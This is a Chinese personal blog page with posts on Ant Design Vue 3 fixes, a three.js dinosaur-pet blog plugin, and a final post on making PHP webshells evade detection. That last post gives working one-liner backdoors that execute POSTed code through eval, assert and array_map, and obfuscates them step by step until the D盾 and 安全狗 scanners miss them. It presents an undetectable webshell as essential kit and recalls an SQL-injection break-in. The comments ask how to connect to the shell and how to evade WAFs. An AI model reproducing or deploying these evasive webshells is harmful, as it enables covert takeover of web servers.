-
Ant Design Vue 3日期组件报错 TypeError: clone.weekday is not a function
Ant Design Vue 3日期组件在初始化赋值时 报错：TypeError: clone.weekday is not a function 解决方法 import dayjs from "dayjs"; import weekday from "dayjs/plugin/weekday" import localeData from "dayjs/plugin/localeData" dayjs.extend(weekday) dayjs.extend(localeData)2022-5-20 0 2312 标签: vue ant design -
Ant Design Vue 3动态引用图标
在新项目上首次使用了Ant Design Vue 3.2.3 在做动态导航的时候遇到了一个很棘手的问题：无法动态引用图标。 官方给的例子是按需引入的。 <template> <home-outlined /> <setting-filled /> <smile-outlined /> <sync-outlined/> <smile-outlined/> <loading-outlined /> </template> <script> import { defineComponent } from 'vue'; import { HomeOutlined, SettingFilled, SmileOutlined, SyncOutlined, LoadingOutlined } from '@ant-design/icons-vue'; export default defineComponent({ components: { HomeOutlined, SettingFilled, SmileOutlined, SyncOutlined, LoadingOutlined, }, }); </script> 解决方法： 1、新建文件/components/amanIcon.js import {createVNode} from 'vue' import * as ICONS from '@ant-design/icons-vue' export const amanIcon = (props) => { let { icon } = props; icon = icon.split("-").map((g) => { return g[0].toUpperCase() + g.slice(1) }).join('') return createVNode(ICONS[icon]); }; 2、使用场景 <template> //大小驼峰都可以 <amanIcon icon="AppstoreOutlined"> <amanIcon icon="appstore-outlined"> </template> <script> import {amanIcon} from "@/components/amanIcon"; export default defineComponent({ components: { amanIcon, }, }); </script>2022-5-9 0 1892 标签: vue ant design -
-
在博客养一头小恐龙
随着emlog的更新，我博客也如约而至。然后抱着学习的态度做了自己的第一个模板，但在参考别人博客的时候发现了一个有趣的小人动画插件。 先放成品图 这是南神的，特效就是眼睛会盯着鼠标移动。挺有趣的一个东西。 然后我就想自己也做一个，以emlog插件的形式放到我的博客上。也顺便学习一下emlog的插件写法。 但是仅做这么有一个小人感觉没啥意思，索性来点有意思的。 我的初衷是养一只小狗小猫的，在博客溜达，会有一些类似睡觉，吃饭的动作，访客可以进行喂食，随着时间的推移和喂食量增加小猫也会长大。 巧的是，刚好在之前做AWD大屏动画的时候接触了three.js，前几天做森林防火演示动画的时候找模型时见到一直小恐龙。 开搞！ 恐龙一共有5个动画：奔跑、吼叫、张望、进食、甩尾（击打）。这些动作足以满足我的需求。 一下是恐龙动画的js代码，时间仓促写的不是很别致，能看懂就看.. class Bee { //定义类名，刚开始用的蜜蜂模型做的，感觉不好看改成恐龙后没做响应的更名 constructor(scene,Manager) { //初始化传参scene，manager是three loader的管理（new THREE.LoadingManager();） this.index=3；//当前第几个动作3是奔跑 this.setScope(); this.moveLevel={ run:5, look:1, bellow:1, }; //let loader=new THREE.GLTFLoader(Manager); let that=this; that.path=[]; that.audio = new THREE.PositionalAudio(listener); let audioLoader = new THREE.AudioLoader(); audioLoader.load('/content/plugins/Aman/js/11451.wav' , function (AudioBuffer) { // 音频缓冲区对象关联到音频对象audio that.audio.setBuffer(AudioBuffer); that.audio.setRefDistance(20); that.audio.setRolloffFactor(3); that.audio.setMaxDistance(100); that.audio.setVolume(0.1); that.audio.setLoop(false); //是否循环 }); var loader = new THREE.FBXLoader(Manager); loader.load("content/plugins/Aman/js/untitled.fbx", function (object ) { //fbx模型 object.scale.multiplyScalar(0.015); that.animations=object.animations; object.traverse( function ( child ) { if (child.isMesh) { child.castShadow = true; child.receiveShadow = true; } }); that.animations=object.animations; that.scene=object; that.mixer=new THREE.AnimationMixer(object.children[0]); that.actions=[]; object.position.z=window.innerWidth*0.1; for ( let i = 0; i <that.animations.length; i ++ ) { const clip = object.animations[i]; const action = that.mixer.clipAction( clip ); action.clampWhenFinished=true; that.actions.push(action) ; } //动作结束回调，在行走/奔跑一段时间后，会切换其他动作，该动作执行完毕后继续奔跑 that.mixer.addEventListener( 'finished', function( e ) { that.run(); that.setPath(); }); object.lookAt(new THREE.Vector3(0,0,0)); scene.add(object); }); } //奔跑动作，time的大小控制动画播放的速度，delay为切换动画淡入淡出时间，感觉没啥用（其实是我没搞懂） run(time=9,delay=1){ this.fadeOutLast(delay); this.index=3; this.actions[3].reset().setDuration(time).play(); } //进食 eat(time=10,delay=1){ this.fadeOutLast(delay); this.index=4; this.actions[4].reset().setDuration(time).setLoop(THREE.LoopOnce).play().fadeIn(delay); } //吼叫 bellow(time=10,delay=1){ this.fadeOutLast(delay); this.index=2; this.actions[2].reset().setDuration(time).setLoop(THREE.LoopOnce).play().fadeIn(delay); let that=this setTimeout(function () { //吼叫时播放音效 that.audio.getOutput().setPosition(that.scene.position.x,that.scene.position.y, that.scene.position.z); that.audio.play(); },3300) } //播放吼叫音效 playSound(){ this.audio.getOutput().setPosition(this.scene.position.x, this.scene.position.y, this.scene.position.z); this.audio.play(); } //甩尾击打动作 hit(time=10,delay=1){ this.fadeOutLast(delay); this.index=1; this.actions[1].reset().setDuration(time).setLoop(THREE.LoopOnce).play().fadeIn(delay); } //张望动作 look(time=10,delay=1,loop=1){ this.fadeOutLast(delay); this.index=0; this.actions[0].reset().setDuration(time).setLoop(THREE.LoopOnce).play().fadeIn(delay); } //一个菜单，恐龙会从当前位置跑到屏幕前，很逼真哦 goOut(){ this.stopAll(); this.run(5) let path=[]; let len=this.path.length; if(len>0){ path[0]=this.path[0]; }else{ path[0]=new THREE.Vector3(this.scene.position.x, this.scene.position.y,this.scene.position.z); } path[1]=new THREE.Vector3( 0,0,0); path[2]=new THREE.Vector3( camera.position.x-25, 0, camera.position.z); var curve = new THREE.CatmullRomCurve3(path, false, 'centripetal', 5); this.path=curve.getPoints(curve.getLength()*0.5); } update(delta){ this.mixer.update(delta) } stopAll(index=-1){ for( let i = 0; i < this.actions.length; i ++){ if(index!=i){ this.actions[i].stop(); } } } fadeOutLast(time=1){ if(this.index==3){ this.actions[3].stop() }else if(this.index>-1){ this.actions[this.index].stop().fadeOut(time); } } //设置随机行走路径 setPath(){ if(this.path.length>2000){ return } let path=[]; let len=this.path.length; if(len>0){ path[0]=this.path[len-1]; }else{ path[0]=new THREE.Vector3(this.scene.position.x, this.scene.position.y,this.scene.position.z); } console.log(path) for(let i=1;i<5;i++){ path[i]=this.getRandomPoint(); } var curve = new THREE.CatmullRomCurve3(path, false, 'centripetal', 10); this.path.push(...curve.getPoints(curve.getLength()*8)); } //移动 three animation 更新该操作， move(){ if(this.index!=3){ return ; } if(this.path.length>0){ this.scene.position.set(this.path[0].x,this.path[0].y,this.path[0].z); this.path.splice(0,1); if(this.path.length>0){ this.scene.lookAt(new THREE.Vector3( this.path[0].x, this.path[0].y,this.path[0].z)); } }else{ let rand=this.randomNum(0,4); switch (rand) { case 0 : this.bellow(); break; case 1: this.eat(); break; case 2: this.look(); break; case 3: this.hit(); break; case 4: this.goOut; break; } } } setScope(){ let z=window.innerWidth*0.1; this.scope= { x: [-50, 50], y:[0,0], z:[-(z),z] }; }y getRandomPoint(){ let x=this.randomNum(this.scope.x[0],this.scope.x[1]); let y=this.randomNum(this.scope.y[0],this.scope.y[1]); let z=this.randomNum(this.scope.z[0],this.scope.z[1]); return new THREE.Vector3(x,y,z); } randomNum(minNum,maxNum){ switch(arguments.length){ case 1: return parseInt(Math.random()*minNum+1,10); break; case 2: return parseInt(Math.random()*(maxNum-minNum+1)+minNum,10); break; default: return 0; break; } } //开始行走动画 start(){ this.run(); this.setPath(); } //执行随机动作 randomAction(){ if(this.index==3){ let rand=this.randomNum(0,4); switch (rand) { case 0 : this.bellow(); break; case 1: this.eat(); break; case 2: this.look(); break; case 3: this.hit(); break; case 4: this.goOut(); break; } } } } 然后是three的场景相机等代码 let wHeight = window.innerHeight; let Bees = [], Count = 1, scene, camera, renderer, controls, clock; let listener,objects=[]; let Manager = new THREE.LoadingManager(); //创建相机 clock = new THREE.Clock(); camera = new THREE.PerspectiveCamera(40, window.innerWidth / wHeight, 0.2, 1000); listener = new THREE.AudioListener(); camera.add(listener); camera.position.set(400, 0, 0); camera.lookAt(0, 145.2, 0) raycaster = new THREE.Raycaster(); mouse = new THREE.Vector2(); //设置周围环境和场景 function initScene() { scene = new THREE.Scene(); } //载入恐龙（开始做的蜜蜂，改成恐龙后没改名字） function initBees() { for (let i = 0; i < Count; i++) { let b = new Bee(scene, Manager); Bees.push(b); } } //设置光源 function initLight() { /*scene.add( new THREE.AmbientLight( 0x404040 ) ); pointLight = new THREE.PointLight( 0xffffff, 1 ); pointLight.position.copy( camera.position ); scene.add( pointLight );*/ let hemiLight = new THREE.HemisphereLight(0xffffff, 0x444444); hemiLight.position.set(0, 20, 0); scene.add(hemiLight); let dirLight = new THREE.DirectionalLight(0xefefef,0.4); dirLight.position.set(100, 50, 0); dirLight.castShadow = true; dirLight.shadowCameraVisible = true; scene.add(dirLight); } //初始化渲染 function initRender() { //渲染 renderer = new THREE.WebGLRenderer({antialias: true, alpha: true,}); renderer.setSize(window.innerWidth, wHeight); renderer.setClearAlpha(0.01); renderer.shadowMap.enabled = true; document.body.appendChild(renderer.domElement); } //动作 function animate() { var delta = clock.getDelta(); //controls.update(); renderer.render(scene, camera); for (let i = 0; i < Bees.length; i++) { Bees[i].update(delta); Bees[i].move(); } //requestAnimationFrame(animate); } initScene(); initLight(); initBees(); //loader载入回调 Manager.onStart = function (url, itemsLoaded, itemsTotal) { //console.log( 'Started loading file: ' + url + '.\nLoaded ' + itemsLoaded + ' of ' + itemsTotal + ' files.' ); }; Manager.onLoad = function () { console.log('Loading complete!'); initRender(); setInterval("animate()", 15); }; Manager.onProgress = function (url, itemsLoaded, itemsTotal) { //console.log( 'Loading file: ' + url + '.\nLoaded ' + itemsLoaded + ' of ' + itemsTotal + ' files.' ); }; Manager.onError = function (url) { console.log('There was an error loading ' + url); }; //监听窗口大小变动使canves做响应变动 window.addEventListener('resize', onWindowResize, false); function onWindowResize() { if(renderer){ wHeight = window.innerHeight; camera.aspect = window.innerWidth / wHeight; camera.updateProjectionMatrix(); renderer.setSize(window.innerWidth, wHeight); for (let i = 0; i < Bees.length; i++) { Bees[i].setScope(); } } } //监听鼠标，未完成 。预计右键菜单，可以对恐龙进行喂食、查看信息和互动操作 document.addEventListener("mousedown", (event) => { event.preventDefault(); let intersect = [] mouse.x = (event.clientX / renderer.domElement.clientWidth) * 2 - 1; mouse.y = - ((event.clientY+2) /renderer.domElement.clientHeight) * 2 +1; objects=[]; raycaster.setFromCamera(mouse, camera); for (let i in scene.children) { if (scene.children[i] instanceof THREE.Group || scene.children[i] instanceof THREE.Scene) { let rayArr = raycaster.intersectObjects(scene.children[i].children, true) objects.push(...rayArr) } else if (scene.children[i] instanceof THREE.Mesh) { objects.push(...raycaster.intersectObject(scene.children[i])) } } console.log(objects,Bees[0].index) if(objects.length>0){ Bees[0].scene.lookAt(1000, 0,0); Bees[0].randomAction(); } }, false) 代码总共就以上那么多，很简单的一个东西。 目前只完成了心目中的60%。 还有不少等以后有时间再继续更新，至于资源什么的就从我博客扒吧。 然后分享一个接触three.js自己研究出来的一个压缩体积技巧： 开始恐龙的格式是glb，纹理和模型都封装在一起的。但是整体有28MB，加载速度太慢了。然后我用blender改成FBX格式，贴图也导出来了，然后对贴图进行压缩处理，两张图从15MB压缩到400+KB，加上模型也就4MB左右，比之前少了24MB（模型其实还可以再优化） 演示视频：传送门 -
webshell免杀思路
博客又开通了，不能没有内容，水一篇是一篇 无论你是小白亦或是大的不能再大的佬，一款免杀的webshell是必备的。 遥想当年，在午夜2点，意气风发的我随着“and 1=1”的成功，进入到某站后台，然后对着百度开始绕过后缀上传，然而被突如其来的狗咬了 一口，那滋味别提多难受了。于是我开始走上了乞讨之路，只为从佬的手里借一下打狗棒。 后来我发现，webshell免杀其实挺简单的，由于本人只了解一些PHP，其他语言尚未涉猎，SO，暂时只探讨PHP。 首先来看一下正常的一句话。 <?php eval($_POST['aman']);?> D盾报毒： 他既然报eval后门那么久处理eval，先来简单的混淆（由于eval不支持变量调用，这里换成了assert） <?php $a="assert"; $a($_POST['aman']); ?> D盾报毒： 报毒变量函数后门我们在混淆下assert <?php function aman($a) { $a($_POST['aman']); }aman(assert); ?> D盾报毒： 可见这里已经降低危险级别了（这是好事），不过笔者发现一个奇怪的现象。如果把以上代码压缩成一行即： <?php function aman($a){$a($_POST['aman']);}aman(assert); ?> D盾就不报毒。 可能D盾的作者写规则的时候没考虑到。笔者还特意去下载了安全狗，果不其然安全狗正常报毒（不报毒才不正常）。 忽略上面小插曲，然后我们再想办法绕过“可疑变量函数”，至于方法就是利用回调函数。一下是笔者整理的PHP的回调函数 call_user_func_array() call_user_func() array_filter() array_walk() array_map() registregister_shutdown_function() register_tick_function() filter_var() filter_var_array() uasort() uksort() array_reduce() array_walk_recursive() 我们这里采用“array_map”，因为我刚好在前端时间用过这个。用法传送门 <?php @array_map("assert", $_POST); ?> D盾报毒：array_map参数xxxx，为了找到原因我们做一下测试 写法一（改变assert为asse,目的是为了测试是否因为assert导致的）：报毒 <?php @array_map("asse", $_POST); ?> 写法二（测试改变第二个参数 $_POST,目的是为了测试是否因为$_POST导致的）：报毒 <?php $a = "_POST"; @array_map("assert", $$a); ?> 写法三（同时改变两个参数）:不报毒 <?php $a = "_POST"; @array_map("asse", $$a); ?> 原因找到了是因为$_POST和assert导致的，$_POST写法三已经绕过，接下来处理assert。 <?php $a = "_POST"; @array_map(implode('',['a','s','s','e','r','t']), $$a); ?> D盾免杀，安全狗免杀 总结：其实比起shellcode或者exe来讲 webshell算是入门级的免杀操作了（仅指php），重点就在于利用排除法，找到检测的关键点，一点点的针对性绕过。 好了，水文章完毕，谢谢大家！
最新评论
Aman 2年前
@阿巴阿巴：define
阿巴阿巴 3年前
如果waf屏蔽了$该怎么绕啊楼主
Aman 3年前
@啊啊：没有，等有空我完善下打包成插件
啊啊 3年前
博主 这个有视频教程吗 没看懂....
Aman 3年前
@波波：密码随意
波波 3年前
这句话的怎么连接啊，楼主
Aman 3年前
Hi